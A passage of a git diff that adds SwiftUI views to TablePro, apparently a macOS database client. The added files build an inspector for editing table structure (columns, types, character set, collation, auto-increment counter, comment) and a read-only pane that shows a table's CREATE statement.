+    // The field's name is above it, so an empty field shows no placeholder.
+    @ViewBuilder
+    private var field: some View {
+        if isMultiline {
+            TextField(text: $draft, prompt: Text(verbatim: ""), axis: .vertical) { Text(label) }
+                .lineLimit(2...6)
+                .labelsHidden()
+        } else {
+            TextField(text: $draft, prompt: Text(verbatim: "")) { Text(label) }
+                .labelsHidden()
+        }
+    }
+
+    private func seed() {
+        guard !hasSeeded else { return }
+        hasSeeded = true
+        draft = value
+        base = value
+        latest = value
+    }
+}
+
+// Free text with the engine's types and the database's own types to pick from, grouped as the grid's type picker
+// groups them.
+struct StructureInspectorTypeField: View {
+    let value: String
+    let revision: Int
+    let label: String
+    let identifier: String
+    let databaseType: DatabaseType
+    let scope: DatabaseScope?
+    let onType: (String) -> Void
+    let onPick: (String) -> Void
+    let onEnd: () -> Void
+
+    var body: some View {
+        UserDefinedTypeAwarePicker(scope: scope) { userDefinedTypes in
+            StructureInspectorSuggestionField(
+                label: label,
+                value: value,
+                revision: revision,
+                identifier: identifier,
+                groups: Self.groups(userDefinedTypes: userDefinedTypes, databaseType: databaseType),
+                onType: onType,
+                onPick: onPick,
+                onEnd: onEnd
+            )
+        }
+    }
+
+    static func groups(userDefinedTypes: [String], databaseType: DatabaseType) -> [StructureInspectorChoices.ItemGroup] {
+        var categories = PluginManager.shared.columnTypesByCategory(for: databaseType)
+            .sorted { $0.key < $1.key }
+            .map { (name: $0.key, types: $0.value) }
+        if !userDefinedTypes.isEmpty {
+            categories.insert((name: String(localized: "User-Defined"), types: userDefinedTypes), at: 0)
+        }
+        var nextID = 0
+        var groups: [StructureInspectorChoices.ItemGroup] = []
+        for (offset, category) in categories.enumerated() {
+            var items: [StructureInspectorChoices.Item] = []
+            for type in category.types {
+                items.append(StructureInspectorChoices.Item(id: nextID, title: type, value: type))
+                nextID += 1
+            }
+            groups.append(StructureInspectorChoices.ItemGroup(id: offset, header: category.name, items: items))
+        }
+        return groups
+    }
+}
+
+// A text field with its common values one click away, the way a combo box offers them. A SwiftUI field and a
+// pull-down menu, so it draws like every other field in the pane; an AppKit combo box keeps the pre-glass bezel.
+struct StructureInspectorSuggestionField: View {
+    let label: String
+    let value: String
+    let revision: Int
+    let identifier: String
+    let groups: [StructureInspectorChoices.ItemGroup]
+    let onType: (String) -> Void
+    let onPick: (String) -> Void
+    let onEnd: () -> Void
+
+    @State private var pickRevision = 0
+
+    var body: some View {
+        HStack(spacing: 4) {
+            StructureInspectorTextField(
+                label: label, value: value, revision: revision, resetToken: pickRevision, onType: onType, onEnd: onEnd
+            )
+            .accessibilityLabel(label)
+            .accessibilityIdentifier(identifier)
+            Menu {
+                ForEach(groups) { group in
+                    if let header = group.header {
+                        Section(header) { items(group) }
+                    } else {
+                        items(group)
+                    }
+                }
+            } label: {
+                Label(String(format: String(localized: "Choose %@"), label), systemImage: "chevron.down")
+                    .labelStyle(.iconOnly)
+            }
+            .menuStyle(.borderlessButton)
+            .menuIndicator(.hidden)
+            .fixedSize()
+            .help(String(format: String(localized: "Choose %@"), label))
+            .accessibilityIdentifier("\(identifier)-choices")
+        }
+    }
+
+    // A pick is its own undo step and replaces whatever is typed in the field.
+    private func items(_ group: StructureInspectorChoices.ItemGroup) -> some View {
+        ForEach(group.items) { item in
+            Button(item.title) {
+                pickRevision &+= 1
+                guard item.value != value else { return }
+                onPick(item.value)
+            }
+        }
+    }
+}
+
+// One field: its name above, the control the pane's full width below, so every field shares the pane's leading edge
+// as the Data view's inspector and the statistics do. Modified settings read bold, the way Xcode marks them.
+struct StructureInspectorRow<Control: View>: View {
+    let label: String
+    var isModified = false
+    @ViewBuilder let control: () -> Control
+
+    var body: some View {
+        VStack(alignment: .leading, spacing: 3) {
+            Text(label)
+                .fontWeight(isModified ? .semibold : .regular)
+                .foregroundStyle(.secondary)
+                .fixedSize(horizontal: false, vertical: true)
+                .accessibilityHidden(true)
+            control()
+                .frame(maxWidth: .infinity, alignment: .leading)
+        }
+    }
+}
+
+// The inspector's section title, the style the table statistics below it use.
+struct StructureInspectorSectionHeader: View {
+    let title: String
+
+    var body: some View {
+        Text(title)
+            .font(.caption.weight(.semibold))
+            .foregroundStyle(.secondary)
+            .accessibilityAddTraits(.isHeader)
+    }
+}
+
+struct StructureInspectorFootnote: View {
+    let text: String
+
+    var body: some View {
+        Text(text)
+            .font(.caption)
+            .foregroundStyle(.secondary)
+            .fixedSize(horizontal: false, vertical: true)
+            .frame(maxWidth: .infinity, alignment: .leading)
+    }
+}
diff --git a/apple/TablePro/Views/Structure/Inspector/StructureInspectorForm.swift b/apple/TablePro/Views/Structure/Inspector/StructureInspectorForm.swift
new file mode 100644
index 0000000000..6ae7fb2cd5
--- /dev/null
+++ b/apple/TablePro/Views/Structure/Inspector/StructureInspectorForm.swift
@@ -0,0 +1,116 @@
+//
+//  StructureInspectorForm.swift
+//  TablePro
+//
+
+import Foundation
+import TableProPluginKit
+
+// One definition's fields as the inspector edits them. Built from the same provider and menus the grid uses, so
+// the two never disagree, and written back through the grid's own edit path, one undo step per field.
+struct StructureInspectorForm: Equatable {
+    struct Field: Equatable, Identifiable {
+        enum Kind: Equatable {
+            case text
+            case multiline
+            case toggle
+            case menu([GridMenuOption])
+            case combo([GridMenuOption])
+            case typePicker
+        }
+
+        let id: Int
+        let label: String
+        let value: String?
+        let kind: Kind
+        let isModified: Bool
+        let isEditable: Bool
+    }
+
+    let section: StructureSection
+    let entityID: UUID
+    let name: String
+    let fields: [Field]
+    let isEditable: Bool
+    let isDeleted: Bool
+    let isNew: Bool
+
+    @MainActor
+    static func build(adapter: StructureSectionAdapter, sourceIndex: Int, entityID: UUID) -> StructureInspectorForm? {
+        let provider = StructureRowProvider(
+            changeManager: adapter.manager,
+            tab: adapter.section,
+            databaseType: adapter.context.databaseType,
+            additionalFields: [.primaryKey],
+            serverSupport: adapter.serverSupport,
+            picksCharacterSets: ColumnCharacterSetMenus.offersMenus(adapter.characterSetContext.catalog)
+        )
+        guard let values = provider.row(at: sourceIndex) else { return nil }
+        let names = provider.columns
+        let state = adapter.manager.deleteInsertState(for: sourceIndex, tab: adapter.section)
+        let modified = provider.modifiedFieldIndices(atDisplay: sourceIndex)
+        let locked = adapter.lockedFieldIndices.union(adapter.characterSetLockedFields(sourceIndex: sourceIndex))
+        let isEditable = adapter.canEdit && !state.isDeleted
+        let fields = names.indices.map { index in
+            Field(
+                id: index,
+                label: names[index],
+                value: index < values.count ? values[index] : nil,
+                kind: kind(
+                    at: index,
+                    section: adapter.section,
+                    orderedFields: provider.orderedColumnFields,
+                    options: adapter.menuOptions(sourceIndex: sourceIndex, field: index) ?? provider.customDropdownOptions[index],
+                    typePickerColumns: provider.typePickerColumns
+                ),
+                isModified: !state.isInserted && modified.contains(index),
+                isEditable: isEditable && !locked.contains(index)
+            )
+        }
+        return StructureInspectorForm(
+            section: adapter.section,
+            entityID: entityID,
+            name: (values.first ?? nil) ?? "",
+            fields: fields,
+            isEditable: isEditable,
+            isDeleted: state.isDeleted,
+            isNew: state.isInserted
+        )
+    }
+
+    @MainActor
+    static func kind(
+        at index: Int,
+        section: StructureSection,
+        orderedFields: [StructureColumnField],
+        options: [GridMenuOption]?,
+        typePickerColumns: Set<Int>
+    ) -> Field.Kind {
+        if typePickerColumns.contains(index) {
+            return .typePicker
+        }
+        if let options, !options.isEmpty {
+            if options.compactMap(\.sql) == StructureRowProvider.booleanOptions {
+                return .toggle
+            }
+            if options.contains(where: { if case .custom = $0 { true } else { false } }) {
+                return .combo(options)
+            }
+            return .menu(options)
+        }
+        switch section {
+        case .columns:
+            guard orderedFields.indices.contains(index) else { return .text }
+            switch orderedFields[index] {
+            case .comment, .generationExpression: return .multiline
+            default: return .text
+            }
+        case .checkConstraints:
+            return index == 1 ? .multiline : .text
+        case .indexes:
+            return index == 4 ? .multiline : .text
+        case .foreignKeys:
+            return .text
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Structure/Inspector/StructureInspectorPresentation.swift b/apple/TablePro/Views/Structure/Inspector/StructureInspectorPresentation.swift
new file mode 100644
index 0000000000..fe896e4a8e
--- /dev/null
+++ b/apple/TablePro/Views/Structure/Inspector/StructureInspectorPresentation.swift
@@ -0,0 +1,121 @@
+//
+//  StructureInspectorPresentation.swift
+//  TablePro
+//
+
+import Foundation
+
+enum StructureInspectorPresentation {
+    @MainActor
+    static func subject(
+        for target: StructureDefinitionEditor.InspectorTarget,
+        definitionName: String?,
+        tableName: String
+    ) -> InspectorSubject {
+        let table = tableName.isEmpty ? nil : tableName
+        switch target {
+        case .entity(let section, _):
+            return .definition(name: definitionName ?? "", section: section, table: table)
+        case .table, .several:
+            return .tableOnly(table: table ?? String(localized: "New Table"))
+        }
+    }
+
+    static func severalTitle(_ section: StructureSection, count: Int) -> String {
+        switch section {
+        case .columns: String(format: String(localized: "%d Columns Selected"), count)
+        case .indexes: String(format: String(localized: "%d Indexes Selected"), count)
+        case .foreignKeys: String(format: String(localized: "%d Foreign Keys Selected"), count)
+        case .checkConstraints: String(format: String(localized: "%d Check Constraints Selected"), count)
+        }
+    }
+
+    static func controlIdentifier(section: StructureSection, field: Int) -> String {
+        "structure-inspector-\(section.rawValue)-\(field)"
+    }
+}
+
+// The control a definition field gets in the inspector. A field the form cannot edit is plain text.
+enum StructureInspectorControl: Equatable {
+    case text
+    case multiline
+    case checkbox
+    case popUp(StructureInspectorChoices)
+    case comboBox(StructureInspectorChoices)
+    case typePicker
+    case readOnly(String)
+
+    static func resolve(_ field: StructureInspectorForm.Field) -> StructureInspectorControl {
+        let value = field.value ?? ""
+        switch field.kind {
+        case .text:
+            return field.isEditable ? .text : .readOnly(value)
+        case .multiline:
+            return field.isEditable ? .multiline : .readOnly(value)
+        case .toggle:
+            return field.isEditable ? .checkbox : .readOnly(value)
+        case .typePicker:
+            return field.isEditable ? .typePicker : .readOnly(value)
+        case .menu(let options):
+            let choices = StructureInspectorChoices(options: options, current: value)
+            return field.isEditable ? .popUp(choices) : .readOnly(choices.selectedTitle ?? value)
+        case .combo(let options):
+            return field.isEditable ? .comboBox(StructureInspectorChoices(options: options, current: value)) : .readOnly(value)
+        }
+    }
+}
+
+// A grid menu as a pop-up button's items. The value a field holds is always an item, listed or not, since a pop-up
+// whose selection matches no tag shows nothing selected.
+struct StructureInspectorChoices: Equatable {
+    struct Item: Equatable, Identifiable {
+        let id: Int
+        let title: String
+        let value: String
+    }
+
+    struct ItemGroup: Equatable, Identifiable {
+        let id: Int
+        let header: String?
+        var items: [Item]
+    }
+
+    let groups: [ItemGroup]
+    let selectedID: Int?
+
+    var items: [Item] { groups.flatMap(\.items) }
+
+    var selectedTitle: String? {
+        items.first { $0.id == selectedID }?.title
+    }
+
+    func value(of id: Int) -> String? {
+        items.first { $0.id == id }?.value
+    }
+
+    init(options: [GridMenuOption], current: String) {
+        var groups = [ItemGroup(id: options.count + 1, header: nil, items: [])]
+        for (index, option) in options.enumerated() {
+            switch option {
+            case .sectionHeader(let title):
+                groups.append(ItemGroup(id: index, header: title, items: []))
+            case .value(let title, let sql):
+                groups[groups.count - 1].items.append(Item(id: index, title: title, value: sql))
+            case .clear(let title):
+                groups[groups.count - 1].items.append(Item(id: index, title: title, value: ""))
+            case .custom:
+                continue
+            }
+        }
+        let listed = groups.flatMap(\.items)
+        var selected = listed.first { $0.value == current }?.id
+            ?? listed.first { $0.value.caseInsensitiveCompare(current) == .orderedSame }?.id
+        if selected == nil, !current.isEmpty {
+            let kept = Item(id: options.count, title: current, value: current)
+            groups[0].items.insert(kept, at: 0)
+            selected = kept.id
+        }
+        self.groups = groups.filter { $0.header != nil || !$0.items.isEmpty }
+        selectedID = selected
+    }
+}
diff --git a/apple/TablePro/Views/Structure/Inspector/StructureInspectorView.swift b/apple/TablePro/Views/Structure/Inspector/StructureInspectorView.swift
new file mode 100644
index 0000000000..6a71080f21
--- /dev/null
+++ b/apple/TablePro/Views/Structure/Inspector/StructureInspectorView.swift
@@ -0,0 +1,89 @@
+//
+//  StructureInspectorView.swift
+//  TablePro
+//
+
+import SwiftUI
+
+// The window inspector while a Structure view or a Create Table tab is on screen: the selected definition's form,
+// or the table's own properties when nothing is selected.
+struct StructureInspectorView: View {
+    let source: StructureInspectorSource
+    let tableMetadata: TableMetadata?
+
+    var body: some View {
+        switch source {
+        case .table(let session):
+            StructureInspectorContent(editor: session.editor, tableName: session.tableName) {
+                StructureTablePropertiesView(
+                    session: session,
+                    changeManager: session.changeManager,
+                    tableMetadata: tableMetadata
+                )
+            }
+        case .createTable(let draft):
+            CreateTableInspectorContent(draft: draft)
+        }
+    }
+}
+
+private struct CreateTableInspectorContent: View {
+    @ObservedObject var draft: CreateTableDraft
+
+    var body: some View {
+        StructureInspectorContent(editor: draft.editor, tableName: draft.tableName) {
+            CreateTablePropertiesView(draft: draft)
+        }
+    }
+}
+
+private struct StructureInspectorContent<TableProperties: View>: View {
+    @ObservedObject var editor: StructureDefinitionEditor
+    let tableName: String
+    @ViewBuilder let tableProperties: () -> TableProperties
+
+    var body: some View {
+        let target = editor.inspectorTarget
+        let form = selectedForm(target)
+        VStack(spacing: 0) {
+            InspectorSubjectView(
+                subject: StructureInspectorPresentation.subject(
+                    for: target,
+                    definitionName: form?.name,
+                    tableName: tableName
+                )
+            )
+            content(target: target, form: form)
+                .frame(maxWidth: .infinity, maxHeight: .infinity, alignment: .topLeading)
+        }
+        .accessibilityElement(children: .contain)
+        .accessibilityIdentifier("structure-inspector")
+    }
+
+    private func selectedForm(_ target: StructureDefinitionEditor.InspectorTarget) -> StructureInspectorForm? {
+        guard case .entity(let section, let id) = target else { return nil }
+        return editor.inspectorForm(for: section, id: id)
+    }
+
+    @ViewBuilder
+    private func content(
+        target: StructureDefinitionEditor.InspectorTarget,
+        form: StructureInspectorForm?
+    ) -> some View {
+        switch target {
+        case .table:
+            tableProperties()
+        case .entity:
+            if let form {
+                StructureDefinitionFormView(editor: editor, form: form, revision: editor.revision)
+                    .id(form.entityID)
+            }
+        case .several(let section, let count):
+            UnavailableStateView(
+                StructureInspectorPresentation.severalTitle(section, count: count),
+                systemImage: TrailingPaneSurface.inspector.symbolName,
+                description: Text(String(localized: "Select one to edit it"))
+            )
+        }
+    }
+}
diff --git a/apple/TablePro/Views/Structure/Inspector/StructureTablePropertiesView.swift b/apple/TablePro/Views/Structure/Inspector/StructureTablePropertiesView.swift
new file mode 100644
index 0000000000..1cfce1caf4
--- /dev/null
+++ b/apple/TablePro/Views/Structure/Inspector/StructureTablePropertiesView.swift
@@ -0,0 +1,439 @@
+//
+//  StructureTablePropertiesView.swift
+//  TablePro
+//
+
+import SwiftUI
+
+// What the inspector shows for a table with no definition selected: its comment, its default character set and
+// AUTO_INCREMENT counter, and the read-only statistics.
+struct StructureTablePropertiesView: View {
+    @ObservedObject var session: StructureEditingSession
+    @ObservedObject var changeManager: StructureChangeManager
+    let tableMetadata: TableMetadata?
+
+    // A session-bound table belongs to one connection's session, so its definition is not this window's to change.
+    private var isReadOnly: Bool {
+        session.editor.isReadOnly || session.isSessionBound
+    }
+
+    var body: some View {
+        let offersComment = session.offersTableComment
+        let offersOptions = session.offersTableOptionsTab
+        if !offersComment, !offersOptions, tableMetadata == nil {
+            UnavailableStateView(
+                String(localized: "No Selection"),
+                systemImage: TrailingPaneSurface.inspector.symbolName,
+                description: Text(String(localized: "Select a definition to edit it"))
+            )
+        } else {
+            ScrollView {
+                VStack(alignment: .leading, spacing: 18) {
+                    if offersComment {
+                        StructureTableCommentSection(
+                            session: session, changeManager: changeManager, isReadOnly: isReadOnly
+                        )
+                    }
+                    if offersOptions {
+                        StructureTableOptionsSection(
+                            session: session, changeManager: changeManager, isReadOnly: isReadOnly
+                        )
+                    }
+                    if let tableMetadata {
+                        TableInfoSections(metadata: tableMetadata, includesComment: false)
+                    }
+                }
+                .padding(.horizontal, InspectorMetrics.horizontalInset)
+                .padding(.vertical, 12)
+                .frame(maxWidth: .infinity, alignment: .leading)
+            }
+            .font(.subheadline)
+            .controlSize(.small)
+        }
+    }
+}
+
+// MARK: - Comment
+
+private struct StructureTableCommentSection: View {
+    @ObservedObject var session: StructureEditingSession
+    @ObservedObject var changeManager: StructureChangeManager
+    let isReadOnly: Bool
+
+    @FocusState private var isFocused: Bool
+
+    private var field: StructureTableCommentPolicy.Field? {
+        StructureTableCommentPolicy.resolve(
+            objectKind: session.objectKind,
+            support: DatabaseObjectToolEligibility.Support.of(DatabaseManager.shared.driver(for: session.connection.id)),
+            isReadOnly: isReadOnly,
+            load: session.tableComment.erased,
+            isSaving: changeManager.isHeldForSave || session.editor.isAwaitingBaseline
+        )
+    }
+
+    // One model write per keystroke, so a save from the keyboard never misses what is still in the field.
+    private var text: Binding<String> {
+        Binding(
+            get: { changeManager.tableComment.text },
+            set: { changeManager.stageTableComment($0) }
+        )
+    }
+
+    var body: some View {
+        if let field {
+            VStack(alignment: .leading, spacing: 6) {
+                StructureInspectorSectionHeader(title: String(localized: "Table"))
+                VStack(alignment: .leading, spacing: 10) {
+                    StructureInspectorRow(
+                            label: String(localized: "Comment"),
+                            isModified: changeManager.tableComment.hasChanges
+                        ) {
+                        TextField(field.placeholder, text: text, axis: .vertical)
+                            .lineLimit(2...6)
+                            .textFieldStyle(.squareBorder)
+                            .disabled(!field.isEditable)
+                            .focused($isFocused)
+                            .onSubmit { changeManager.endTableCommentRun() }
+                            .help(field.unavailableReason ?? "")
+                            .accessibilityLabel(String(localized: "Comment"))
+                            .accessibilityIdentifier("structure-table-comment")
+                    }
+                }
+            }
+            .onChange(of: isFocused) { focused in
+                guard !focused else { return }
+                changeManager.endTableCommentRun()
+            }
+            .onDisappear { changeManager.endTableCommentRun() }
+        }
+    }
+}
+
+// MARK: - Options
+
+// Every edit is one whole-value write to the change manager, so the coupled character set and collation pick
+// lands as one staged change and one undo step.
+private struct StructureTableOptionsSection: View {
+    @ObservedObject var session: StructureEditingSession
+    @ObservedObject var changeManager: StructureChangeManager
+    let isReadOnly: Bool
+
+    @State private var counterText = ""
+    @FocusState private var isCounterFocused: Bool
+
+    var body: some View {
+        VStack(alignment: .leading, spacing: 6) {
+            StructureInspectorSectionHeader(title: String(localized: "Options"))
+            if let options = displayedOptions {
+                form(options)
+            } else {
+                stateView
+            }
+        }
+        .task { await session.readTableOptionsCatalog() }
+        .onAppear { counterText = Self.text(displayedCounter) }
+        .onChange(of: displayedCounter) { counter in
+            guard !isCounterFocused else { return }
+            counterText = Self.text(counter)
+        }
+        // Text that is not a valid counter stays in the field beside its error, since it holds Save until fixed.
+        .onChange(of: isCounterFocused) { focused in
+            guard !focused, entry(counterText)?.message == nil else { return }
+            counterText = Self.text(displayedCounter)
+        }
+    }
+
+    // MARK: State
+
+    private var draft: TableOptions? { changeManager.tableOptions.current }
+
+    // A read that landed while edits were staged has not become the baseline yet, so it shows read-only.
+    private var displayedOptions: TableOptions? {
+        draft ?? (session.tableOptions.value ?? nil)
+    }
+
+    private var isCounterConfirmed: Bool {
+        session.autoIncrementRead == .confirmed && changeManager.tableOptions.isAutoIncrementConfirmed
+    }
+
+    // An unconfirmed counter may be one the server moved past; a read deferred behind staged edits shows read-only.
+    private var displayedCounter: UInt64? {
+        guard session.autoIncrementRead == .confirmed else { return nil }
+        guard changeManager.tableOptions.isAutoIncrementConfirmed else { return session.loadedTableOptions?.autoIncrement }
+        return displayedOptions?.autoIncrement
+    }
+
+    // The draft's column, not the loaded one: the counter is set after the column work in the same save.
+    private var autoIncrementMaximum: UInt64? {
+        changeManager.autoIncrementColumn.map { AutoIncrementEntry.maximum(for: $0) }
+    }
+
+    private var editability: StructureTableOptionsPolicy.Editability {
+        StructureTableOptionsPolicy.resolve(
+            hasBaseline: draft != nil,
+            isReadOnly: isReadOnly,
+            isSaving: changeManager.isHeldForSave || session.editor.isAwaitingBaseline
+        )
+    }
+
+    private var catalog: TableOptionsCatalog? {
+        guard case .loaded(let catalog) = session.tableOptionsCatalog else { return nil }
+        return catalog
+    }
+
+    private func entry(_ text: String) -> AutoIncrementEntry? {
+        autoIncrementMaximum.map {
+            AutoIncrementEntry(text, maximum: $0, original: changeManager.tableOptions.original?.autoIncrement)
+        }
+    }
+
+    private static func text(_ counter: UInt64?) -> String {
+        counter.map { String($0) } ?? ""
+    }
+
+    // A retried read lands only in the session; the baseline moves unless edits are staged.
+    private func retryOptions() {
+        Task {
+            await session.readTableOptions()
+            session.rebaselineUnlessEdited()
+        }
+    }
+
+    @ViewBuilder
+    private var stateView: some View {
+        switch session.tableOptions {
+        case .idle, .loading:
+            ProgressView()
+                .controlSize(.small)
+                .frame(maxWidth: .infinity, alignment: .leading)
+        case .failed(let message):
+            VStack(alignment: .leading, spacing: 6) {
+                Label(String(localized: "Couldn't read the table options"), systemImage: "exclamationmark.triangle")
+                RevealedTextView(message)
+                    .foregroundStyle(.secondary)
+                Button(String(localized: "Try Again"), action: retryOptions)
+                    .accessibilityIdentifier("structure-options-retry")
+            }
+        case .loaded:
+            StructureInspectorFootnote(text: String(localized: "This table has no options to change."))
+        }
+    }
+
+    // MARK: Form
+
+    private func form(_ options: TableOptions) -> some View {
+        let editability = self.editability
+        let original = changeManager.tableOptions.original
+        return VStack(alignment: .leading, spacing: 8) {
+            VStack(alignment: .leading, spacing: 10) {
+                StructureInspectorRow(
+                        label: String(localized: "Character Set"),
+                        isModified: draft != nil && options.characterSet != original?.characterSet
+                    ) {
+                    Picker(String(localized: "Character Set"), selection: characterSetBinding) {
+                        if options.characterSet == nil {
+                            Text(String(localized: "Unknown")).tag(String?.none)
+                        }
+                        ForEach(TableOptionsForm.characterSets(in: catalog, keeping: options.characterSet), id: \.self) {
+                            Text($0).tag(Optional($0))
+                        }
+                    }
+                    .labelsHidden()
+                    .disabled(!editability.isEditable || catalog == nil)
+                    .accessibilityIdentifier("structure-options-charset")
+                }
+
+                StructureInspectorRow(
+                        label: String(localized: "Collation"),
+                        isModified: draft != nil && options.collation != original?.collation
+                    ) {
+                    Picker(String(localized: "Collation"), selection: collationBinding) {
+                        if options.collation == nil {
+                            Text(String(localized: "Unknown")).tag(String?.none)
+                        }
+                        ForEach(collationChoices(options)) { choice in
+                            Text(choice.title).tag(Optional(choice.name))
+                        }
+                    }
+                    .labelsHidden()
+                    .disabled(!editability.isEditable || catalog == nil)
+                    .accessibilityIdentifier("structure-options-collation")
+                }
+
+                Group {
+                    VStack(alignment: .leading, spacing: 4) {
+                        Toggle(String(localized: "Convert existing columns"), isOn: convertBinding)
+                            .toggleStyle(.checkbox)
+                            .fontWeight(options.convertsColumns ? .semibold : .regular)
+                            .disabled(!editability.isEditable)
+                            .accessibilityIdentifier("structure-options-convert")
+                        StructureInspectorFootnote(text: Self.convertFootnote(options.convertsColumns))
+                    }
+                }
+
+                catalogStatusRow
+
+                if let maximum = autoIncrementMaximum {
+                    counterRows(maximum: maximum, isEditable: editability.isEditable, original: original)
+                }
+            }
+
+            if let reason = editability.unavailableReason, !changeManager.isHeldForSave {
+                Label(reason, systemImage: "lock")
+                    .font(.caption)
+                    .foregroundStyle(.secondary)
+                    .fixedSize(horizontal: false, vertical: true)
+                    .accessibilityIdentifier("structure-options-unavailable-note")
+            }
+        }
+    }
+
+    private static func convertFootnote(_ converts: Bool) -> String {
+        guard converts else {
+            return String(localized: "Applies to columns added later. Existing columns keep their character set.")
+        }
+        return String(
+            localized: "Rewrites every text column to this character set. TEXT can grow to MEDIUMTEXT, and the table is copied while it runs."
+        )
+    }
+
+    private func collationChoices(_ options: TableOptions) -> [TableOptionsForm.Choice] {
+        TableOptionsForm.collations(in: catalog, characterSet: options.characterSet, keeping: options.collation)
+    }
+
+    @ViewBuilder
+    private var catalogStatusRow: some View {
+        switch session.tableOptionsCatalog {
+        case .idle, .loading:
+            Group {
+                HStack(spacing: 6) {
+                    ProgressView()
+                        .controlSize(.mini)
+                    StructureInspectorFootnote(text: String(localized: "Reading the server's character sets…"))
+                }
+            }
+        case .failed:
+            Group {
+                VStack(alignment: .leading, spacing: 4) {
+                    Label(String(localized: "Couldn't read the server's character sets."), systemImage: "exclamationmark.triangle")
+                        .font(.caption)
+                        .foregroundStyle(.secondary)
+                        .fixedSize(horizontal: false, vertical: true)
+                    Button(String(localized: "Try Again")) {
+                        Task { await session.readTableOptionsCatalog() }
+                    }
+                    .accessibilityIdentifier("structure-options-catalog-retry")
+                }
+            }
+        case .loaded:
+            EmptyView()
+        }
+    }
+
+    @ViewBuilder
+    private func counterRows(maximum: UInt64, isEditable: Bool, original: TableOptions?) -> some View {
+        StructureInspectorRow(
+                label: String(localized: "Next Auto Increment"),
+                isModified: draft != nil && draft?.autoIncrement != original?.autoIncrement
+            ) {
+            TextField(String(localized: "Next Auto Increment"), text: counterBinding)
+                .labelsHidden()
+                .textFieldStyle(.squareBorder)
+                .focused($isCounterFocused)
+                .disabled(!isEditable || !isCounterConfirmed)
+                .accessibilityLabel(String(localized: "Next Auto Increment"))
+                .accessibilityIdentifier("structure-options-auto-increment")
+        }
+        // The server raises a value below the next free one, so a saved counter is read back, never shown as typed.
+        switch session.autoIncrementRead {
+        case .rereading:
+            Group {
+                HStack(spacing: 6) {
+                    ProgressView()
+                        .controlSize(.mini)
+                    StructureInspectorFootnote(text: String(localized: "Reading the saved value…"))
+                }
+            }
+        case .unconfirmed:
+            Group {
+                VStack(alignment: .leading, spacing: 4) {
+                    Label(String(localized: "Couldn't read the saved value."), systemImage: "exclamationmark.triangle")
+                        .font(.caption)
+                        .foregroundStyle(.secondary)
+                    Button(String(localized: "Try Again"), action: retryOptions)
+                        .accessibilityIdentifier("structure-options-auto-increment-retry")
+                }
+            }
+        case .confirmed:
+            EmptyView()
+        }
+        if let message = AutoIncrementEntry(counterText, maximum: maximum, original: original?.autoIncrement).message {
+            Group {
+                Text(message)
+                    .font(.caption)
+                    .foregroundStyle(.red)
+                    .fixedSize(horizontal: false, vertical: true)
+                    .accessibilityIdentifier("structure-options-auto-increment-error")
+            }
+        }
+        Group {
+            StructureInspectorFootnote(text: String(localized: "A value at or below the highest existing ID becomes that ID plus one."))
+        }
+    }
+
+    // MARK: Bindings
+
+    private var characterSetBinding: Binding<String?> {
+        Binding(
+            get: { displayedOptions?.characterSet },
+            set: { name in
+                guard let name, let current = draft, name != current.characterSet else { return }
+                changeManager.stageTableOptions(TableOptionsForm.selectingCharacterSet(name, in: current, catalog: catalog))
+            }
+        )
+    }
+
+    private var collationBinding: Binding<String?> {
+        Binding(
+            get: { displayedOptions?.collation },
+            set: { name in
+                guard let name, var next = draft, name != next.collation else { return }
+                next.collation = name
+                changeManager.stageTableOptions(next)
+            }
+        )
+    }
+
+    private var convertBinding: Binding<Bool> {
+        Binding(
+            get: { displayedOptions?.convertsColumns ?? false },
+            set: { converts in
+                guard var next = draft, converts != next.convertsColumns else { return }
+                next.convertsColumns = converts
+                changeManager.stageTableOptions(next)
+            }
+        )
+    }
+
+    // Staged per keystroke, as the comment is, so a save from the keyboard never misses a value still in the field.
+    // Text that is not a valid counter stages the loaded one and holds Save until it is fixed or cleared.
+    private var counterBinding: Binding<String> {
+        Binding(
+            get: { counterText },
+            set: { text in
+                counterText = text
+                guard var next = draft, let entry = entry(text) else { return }
+                switch entry {
+                case .value(let value):
+                    next.autoIncrement = value
+                case .empty, .invalid:
+                    next.autoIncrement = changeManager.tableOptions.original?.autoIncrement
+                }
+                changeManager.noteAutoIncrementEntry(invalid: entry.message)
+                guard next != draft else { return }
+                changeManager.stageTableOptions(next)
+            }
+        )
+    }
+}
diff --git a/apple/TablePro/Views/Structure/StructureDDLPane.swift b/apple/TablePro/Views/Structure/StructureDDLPane.swift
new file mode 100644
index 0000000000..c6b0e7a544
--- /dev/null
+++ b/apple/TablePro/Views/Structure/StructureDDLPane.swift
@@ -0,0 +1,133 @@
+//
+//  StructureDDLPane.swift
+//  TablePro
+//
+
+import AppKit
+import os
+import SwiftUI
+import UniformTypeIdentifiers
+
+// The table's CREATE statement as the database reports it, read-only, with the ways to take it elsewhere.
+struct StructureDDLPane: View {
+    private static let logger = Logger(subsystem: "com.TablePro", category: "StructureDDLPane")
+
+    let ddl: String
+    let tableName: String
+    let databaseType: DatabaseType
+    let failure: String?
+    let isLoading: Bool
+    let coordinator: MainContentCoordinator?
+    let onRetry: () -> Void
+
+    @AppStorage("structureCodeFontSize", store: AppStorageEnvironment.shared.defaults) private var fontSize: Double = 13
+
+    var body: some View {
+        VStack(spacing: 0) {
+            HStack(spacing: 8) {
+                ControlGroup {
+                    Button {
+                        fontSize = max(10, fontSize - 1)
+                    } label: {
+                        Label(String(localized: "Decrease Font Size"), systemImage: "textformat.size.smaller")
+                    }
+                    Button {
+                        fontSize = min(24, fontSize + 1)
+                    } label: {
+                        Label(String(localized: "Increase Font Size"), systemImage: "textformat.size.larger")
+                    }
+                }
+                .controlGroupStyle(.navigation)
+                .labelStyle(.iconOnly)
+                .fixedSize()
+
+                Spacer()
+
+                Button(String(localized: "Open in Editor"), action: openInEditor)
+                    .disabled(ddl.isEmpty)
+                Button(String(localized: "Copy"), action: copy)
+                    .disabled(ddl.isEmpty)
+                Button(String(localized: "Export…"), action: export)
+                    .disabled(ddl.isEmpty)
+            }
+            .controlSize(.small)
+            .padding(.horizontal, 10)
+            .padding(.vertical, 6)
+            .paneBarBackground()
+
+            Divider()
+
+            content
+        }
+    }
+
+    @ViewBuilder
+    private var content: some View {
+        if let failure, ddl.isEmpty {
+            UnavailableStateView {
+                Label(String(localized: "Couldn't Read the DDL"), systemImage: "exclamationmark.triangle")
+            } description: {
+                Text(failure)
+            } actions: {
+                Button(String(localized: "Try Again"), action: onRetry)
+            }
+            .frame(maxWidth: .infinity, maxHeight: .infinity)
+            .valueStandInBackground()
+        } else if ddl.isEmpty {
